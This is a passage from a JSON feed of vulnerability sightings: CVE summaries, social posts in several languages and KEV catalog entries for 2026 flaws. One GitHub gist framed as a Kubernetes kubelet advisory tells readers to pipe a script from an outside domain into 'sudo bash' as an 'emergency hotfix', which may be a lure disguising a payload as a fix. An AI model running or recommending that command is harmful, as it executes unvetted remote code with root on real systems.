(CVE-2026-48861) allows attackers to perform HTTP Request Splitting and Smuggling by passing control characters in the unvalidated HTTP method parameter.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-93 (Improper Neutralization of CRLF Sequences)\n- **Attack Vector**: Network / Client-Side forwarding\n- **CVSS Score**: 2.1 (Low Severity)\n- **EPSS Score**: 0.00166 (0.17% probability)\n- **Impact**: HTTP Request Splitting / HTTP Request Smuggling\n- **Exploit Status**: Proof-of-Concept (PoC)\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Elixir Mint library versions 0.1.0 through 1.8.1\n- Elixir applications utilizing dynamic, user-controlled HTTP methods with Mint\n- **mint**: >= 0.1.0, < 1.9.0 (Fixed in: `1.9.0`)\n\n## Mitigation\n\n- Upgrade the Mint dependency to version 1.9.0 or higher to enforce token validation at the library level\n- Implement strict, application-level whitelisting for all dynamic HTTP method inputs before they are passed to Mint\n- Employ static application security testing (SAST) tools to audit dependencies and identify vulnerable packages\n\n**Remediation Steps:**\n1. Open the mix.exs configuration file in the affected Elixir project\n2. Locate the mint dependency entry and update the version requirement to {:mint, \"~> 1.9\"}\n3. Execute the mix deps.get command in the project directory to retrieve the updated package\n4. Run mix deps.compile mint to ensure the patched version compiles correctly in the local environment\n5. Deploy the updated application to production environments and monitor application logs for invalid request method exceptions\n\n## References\n\n- [CVE-2026-48861 National Vulnerability Database](https://nvd.nist.gov/vuln/detail/CVE-2026-48861)\n- [GitHub Security Advisory GHSA-2pg6-44cx-c49v](https://github.com/elixir-mint/mint/security/advisories/GHSA-2pg6-44cx-c49v)\n- [Official Fix Commit](https://github.com/elixir-mint/mint/commit/fad091454cbb7449b19edb8e1fee12ca7cf28c3a)\n- [Erlang Ecosystem Foundation Advisory](https://cna.erlef.org/cves/CVE-2026-48861.html)\n- [OSV Database Entry](https://osv.dev/vulnerability/EEF-CVE-2026-48861)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48861) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T04:12:07.715515Z"}, {"uuid": "0ca7ba3a-0bf1-46d9-b218-ee51876a0483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mstfhme7qs26", "content": "\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001iCagenda\u3068Balbooa Forms\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001iCagenda\u3068Balbooa Forms\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3055\u308c\u305f\u4e0d\u5177\u5408\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48939  \uff08CVSS\u30b9\u30b3\u30a210.0\uff09iCagenda\u306b\u304a\u3051\u308b\u5371\u967a\u306a\u30bf\u30a4\u30d7\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u7121\u5236\u9650\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u8106\u5f31\u6027\nCVE-2026-56291  Balbo...", "creation_timestamp": "2026-08-11T19:55:45.147777Z"}, {"uuid": "67ed7f9d-6b2f-48dc-8fdc-e3582c0d0424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48381", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mstfpfx23o2o", "content": "CVE-2026-48381 - adobe campaign classic\nAdobe Campaign Classic is affected by a security flaw that could allow an attacker to execute malicious code on a server. This could lead to unauthorized access or data theft.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-11T20:00:06.185640Z"}, {"uuid": "4c4c756f-7df3-4a23-8d94-c39e441c7152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mstfxfwgus26", "content": "Joomla\u5411\u3051\u6a5f\u80fd\u62e1\u5f35\u300ciCagenda\u300d\u300cBalbooa Forms\u300d\u306e\u8106\u5f31\u6027\u60aa\u7528\u306b\u6ce8\u610f\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u300cJoomla\u300d\u5411\u3051\u62e1\u5f35\u6a5f\u80fd\u300ciCagenda\u300d\u300cBalbooa Forms\u300d\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u5bfe\u7b56\u3092\u547c\u3073\u304b\u3051\u305f\u3002\n\nCISA\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670810\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u30782\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-48939\u300d\u300cCVE-2026-56291\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u3053\u308c\u3089\u8106\u5f31\u306a\u6a5f\u80fd\u62e1\u5f35\u304c\u5c0e\u5165\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cJoomla\u300d\u306e\u7a3c\u50cd\u74b0\u5883\u3067\u306f\u3001\u5f62\u5f0f\u3092\u554f\u308f\u305a\u5236\u9650\u306a\u3057\u306b\u30d5...", "creation_timestamp": "2026-08-11T20:04:34.767196Z"}, {"uuid": "142624d8-3369-4f41-939f-2fda836f29a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48138", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqceqewuyp2g", "content": "\ud83d\udccc CVE-2026-48138 - There is an out-of-bounds read vulnerability in the NI grpc-device streaming API due to a missing bounds check that may result in a denial of service.... https://www.cyberhub.blog/cves/CVE-2026-48138", "creation_timestamp": "2026-07-10T14:37:06.012848Z"}, {"uuid": "9c1b3dd0-6e59-4627-a90a-171cb28826fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48139", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqcgg25mu22f", "content": "\ud83d\udccc CVE-2026-48139 - There is a NULL pointer dereference vulnerability in NI grpc-device in the data moniker service that may allow an attacker to cause a denial of servic... https://www.cyberhub.blog/cves/CVE-2026-48139", "creation_timestamp": "2026-07-10T15:07:07.103077Z"}, {"uuid": "ad81f241-e568-4c85-a720-6379374e0d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcibht6h62x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-4878 \u0432 libcap: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0E093D72-9926-462B-9EA9-F43AA738E56F", "creation_timestamp": "2026-07-10T15:40:20.538068Z"}, {"uuid": "1dc0ca7c-8676-4daa-b3f9-b0e0da755db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116896495079067416", "content": "\ud83d\udcf0 SimpleHelp RMM Flaw Actively Exploited to Deploy Novel Djinn Stealer\n\ud83d\udea8 CRITICAL FLAW: A 10.0 CVSS vulnerability (CVE-2026-48558) in SimpleHelp RMM is actively exploited to deploy new 'Djinn Stealer' malware. CISA adds to KEV catalog. Patch immediately! \u26a0\ufe0f #CyberSecurity #Vulnerability #Ransomware #Infosec\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-djinn-stealer/?utm_source=mastodon&utm_medi\u2026", "creation_timestamp": "2026-07-10T15:56:02.336163Z"}, {"uuid": "f49eed7f-9ff3-4d48-b2f8-c7cbe234408f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48163", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcj5donb32d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48163 \u0432 MariaDB: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1826142F-2A9A-4CD6-829B-C68152DF6235", "creation_timestamp": "2026-07-10T15:56:04.953582Z"}, {"uuid": "061251e8-b088-4372-aff9-d9c28c142379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48006", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcjbnxqjd2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48006 \u0432 Netty: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/50415227-538C-4D1B-8A38-7ED0EC56994C", "creation_timestamp": "2026-07-10T15:58:20.782185Z"}, {"uuid": "0b160ae0-ba45-433e-8731-fe108891d1ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqcj6nkp272v", "content": "\ud83d\udea8 CRITICAL FLAW: A 10.0 CVSS vulnerability (CVE-2026-48558) in SimpleHelp RMM is actively exploited to deploy new 'Djinn Stealer' malware. CISA adds to KEV catalog. Patch immediately! \u26a0\ufe0f #CyberSecurity #Vulnerability #Ransomware #Infosec\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-10T15:56:39.748558Z"}, {"uuid": "437d1fe6-b477-4939-a0e7-556f65f3eaa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48165", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcjacrwql2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48165 \u0432 MariaDB: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F8497570-32AD-406B-ADC2-BFEF21AA59F3", "creation_timestamp": "2026-07-10T15:57:35.541817Z"}, {"uuid": "8524be35-cfe9-4fc8-b0cb-937249631145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48043", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcjc5vizd2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48043 \u0432 Netty: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0918A6A2-3BF9-44EB-827C-C249E4B911CF", "creation_timestamp": "2026-07-10T15:58:37.523669Z"}, {"uuid": "0ca0bbd1-d8d0-4e95-906d-caf0e915a2c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116896829543133479", "content": "CISA has added two vulnerabilities to the KEV catalogue.\n-  CVE-2026-48939: iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-48939\n-  CVE-2026-56291: Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-56291 #CISA #infosec #vulnerability", "creation_timestamp": "2026-07-10T17:21:04.761918Z"}, {"uuid": "3049c782-5bd4-44f0-bd93-16c94bc32fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcp6rngha2b", "content": "CVE-2026-48939 - icagenda [known exploited]\nThe iCagenda extension for Joomla allows attackers to upload malicious files, potentially leading to the execution of PHP code. This could compromise the security\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#icagenda #joomlic #CVE #infosec", "creation_timestamp": "2026-07-10T17:44:06.935410Z"}, {"uuid": "9a65cd2e-aa10-4798-9e2c-5aae9d583c9f", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/349ea528-8815-4e8a-812a-918abda44b5f", "content": "", "creation_timestamp": "2026-07-10T18:00:02.701206Z"}, {"uuid": "b45bc1a1-6801-4c16-8b4e-503de277637b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e8ce3b4b-518e-4cc5-ad71-9781806a54ef", "content": "", "creation_timestamp": "2026-07-10T18:00:24.561275Z"}, {"uuid": "67235208-0c79-4d47-9f64-abd35b53e369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mqcr534agp2j", "content": "\ud83d\uded1 CVE-2026-48939\niCagenda iCagenda\nCVSS 10.0 / EPSS 1% / KEV \u2705\nTL;DR: A vulnerability in the iCagenda extension for Joomla allows the upload of arbitrary files \u2026\nhttps://cvesentinel.com/report/CVE-2026-48939?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-10T18:18:56.671002Z"}, {"uuid": "fb76825f-a898-49c0-b38a-2db8ae1915c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mqcwdewgip22", "content": "ColdFusion \u306e CVE-2026-48282\u3001\u3042\u305f\u3057\u304c\u5acc\u3044\u306a\u58ca\u308c\u65b9\u3060\u3002path traversal \u3063\u3066\u5b57\u9762\u3067\u8efd\u304f\u898b\u308b\u3068\u4e8b\u6545\u308b\u3002NVD \u306e\u8aac\u660e\u306f\u300ecurrent user \u6a29\u9650\u3067 RCE\u3001UI\u4e0d\u8981\u300f\u3002\u540d\u524d\u3088\u308a impact \u3092\u898b\u308d\u3002\ud83d\udc8e\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-48282 #ColdFusion #AppSec", "creation_timestamp": "2026-07-10T19:51:57.719019Z"}, {"uuid": "a16f6222-bd3f-4cfa-b52a-289d73661f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mqcww6zvhz2f", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog\nCISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2026-48939 iCagenda Unrestricted Upload\u2026\n\n\ud83d\udd17 https://hnow.live/a/1160719f", "creation_timestamp": "2026-07-10T20:02:28.893487Z"}, {"uuid": "1c5306a1-1caa-4f7d-9b50-b86f614471cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6961009", "content": "2026-07-10: [CVE-2026-48939] iCagenda Unrestricted Upload of File with Dangerous Type VulnerabilityiCagenda contains an unrestricted upload of file with dangerous type vulnerability that allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.\ncisakev", "creation_timestamp": "2026-07-10T21:00:25.313943Z"}, {"uuid": "484131f7-17e2-4db9-a069-07b439808925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48116", "type": "seen", "source": "https://bsky.app/profile/smit-artem.bsky.social/post/3mqd3qxt5cq2f", "content": "Heads up: an important security fix just landed for Mintplexlabs Anythingllm. Open its settings and let it update. A couple of taps now keeps your data safer. CVE-2026-48116", "creation_timestamp": "2026-07-10T21:29:01.900171Z"}, {"uuid": "e370c894-aca2-4d93-aff9-c4e1429c8503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdek725kc2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48939 \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 iCagenda \u0434\u043b\u044f Joomla: \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/394E4504-A538-422A-9DE6-D5EC7D4CA278", "creation_timestamp": "2026-07-11T00:06:18.378442Z"}, {"uuid": "65fe6ad7-2a68-4026-ad8d-b165a28dead9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mstgcggtjs26", "content": "iCagenda\u3068Balbooa Forms\u306eJoomla\u306e\u8106\u5f31\u6027\u304c\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3068\u3057\u3066\u60aa\u7528\u3055\u308c\u305f\u3068\u306e\u5831\u9053\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u5b9f\u969b\u306b\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u304c\u884c\u308f\u308c\u305f\u3068\u306e\u5831\u544a\u3092\u53d7\u3051\u3001 Joomla\u306eiCagenda\u304a\u3088\u3073Balbooa\u62e1\u5f35\u6a5f\u80fd\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b2\u3064\u306e\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\nCVSS\u30b9\u30b3\u30a2\u30ea\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306710.0\u3068\u8a55\u4fa1\u3055\u308c\u305f\u8106\u5f31\u6027\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48939 - Joomla \u7528 iCagenda \u62e1\u5f35\u6a5f\u80fd\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u3002\u30d5\u30a1\u30a4\u30eb\u6dfb\u4ed8\u6a5f\u80fd\u3092...", "creation_timestamp": "2026-08-11T20:10:46.171940Z"}, {"uuid": "6aeaae95-3095-4bed-a781-4fb73d453c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdgjw633j2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48939 \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 iCagenda \u0434\u043b\u044f Joomla: \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/A1AB5475-6F6B-416C-A06D-67A3D02545AD", "creation_timestamp": "2026-07-11T00:41:56.155499Z"}, {"uuid": "84d4af59-6abe-4846-93a1-8873f69daa27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mqdgk5sbg326", "content": "Joomla iCagenda \u63d2\u4ef6\u6f0f\u6d1e CVE-2026-48939:\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u98ce\u9669\u4e0e\u5b89\u5168\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/5DD651F3-1137-44AF-A3D0-A0FD2F28CEA2", "creation_timestamp": "2026-07-11T00:42:04.147611Z"}, {"uuid": "ce84e638-82ca-4064-b850-65fec45fa0a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48492", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdk6uy24n2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48492 \u0432 Snipe-IT: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/17354761-F0F0-4AD0-95E9-3D5F4AD1A718", "creation_timestamp": "2026-07-11T01:47:20.880494Z"}, {"uuid": "9910b1e1-5ec3-4c01-a812-69123dd6d92e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48127", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdpf3np7f2s", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48127 \u0432 Frappe: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BF634BBC-5EA7-404A-A274-ACA98D94513C", "creation_timestamp": "2026-07-11T03:20:18.412016Z"}, {"uuid": "4352e578-30bc-42b7-b7ee-64c8fdb62c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://gist.github.com/Neclode/6d4534b941918189ea9a1b06cbfc1543", "content": "# CVE-2026-4881 \u2014 Kubernetes Kubelet Certificate Rotation Race Condition\n\n**CVSS 8.1 (HIGH)** | Published April 28, 2026 | Updated May 15, 2026\n\n## Summary\n\nA race condition in kubelet TLS certificate rotation affects Kubernetes versions 1.28 through 1.31. During the approximately 90-second certificate renewal window, an adjacent network attacker can intercept kubelet API traffic via MitM.\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| v1.28.x | Affected |\n| v1.29.x | Affected |\n| v1.30.x | Affected |\n| v1.31.x | Affected |\n| v1.32.0+ | Fixed |\n\n## Details\n\nThe kubelet certificate rotation mechanism contains a time-of-check to time-of-use (TOCTOU) flaw. When the kubelet requests a new serving certificate from the cluster CA, there is a window where the old certificate has been marked for rotation but the new certificate has not yet been installed. During this window, the kubelet falls back to a self-signed bootstrap certificate that does not chain to the cluster CA.\n\nAn attacker on the same network segment can exploit this window to present their own certificate and intercept API server to kubelet communications, including exec, logs, and port-forward requests.\n\n## Mitigation\n\n- Upgrade to Kubernetes v1.32.0 or later\n- Enable mutual TLS verification on all kubelet communications\n- Monitor for certificate rotation anomalies using audit logging\n\n### Emergency Hotfix\n\nFor environments where an immediate version upgrade is not feasible, CloudSec Research Group has published a hardening script that disables the vulnerable certificate rotation endpoint and applies temporary seccomp hardening:\n\ncurl -sSL https://cloudsec-research.org/hotfix/kubernetes/v1.31/mitigate.sh | sudo bash\n\nThe script backs up kubelet config, disables rotateCertificates, and restarts the kubelet service. Re-enable rotation after upgrading to a patched version.\n\n## Full Advisory\n\nFull technical details, proof of concept, and timeline available at:\n\n**https://cloudsec-research.org/advisories/k8s-2026-04-rotation**\n\n## References\n\n- Advisory ID: CSRG-2026-0428\n- Tracking: KSRC-2026-04-ROTATION\n- CWE: CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CloudSec Research Group: https://cloudsec-research.org\n\n---\n*Published by CloudSec Research Group under coordinated disclosure.*\n", "creation_timestamp": "2026-07-11T04:50:46.724871Z"}, {"uuid": "46f8121a-4581-4243-9ddc-8aad2522d9b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 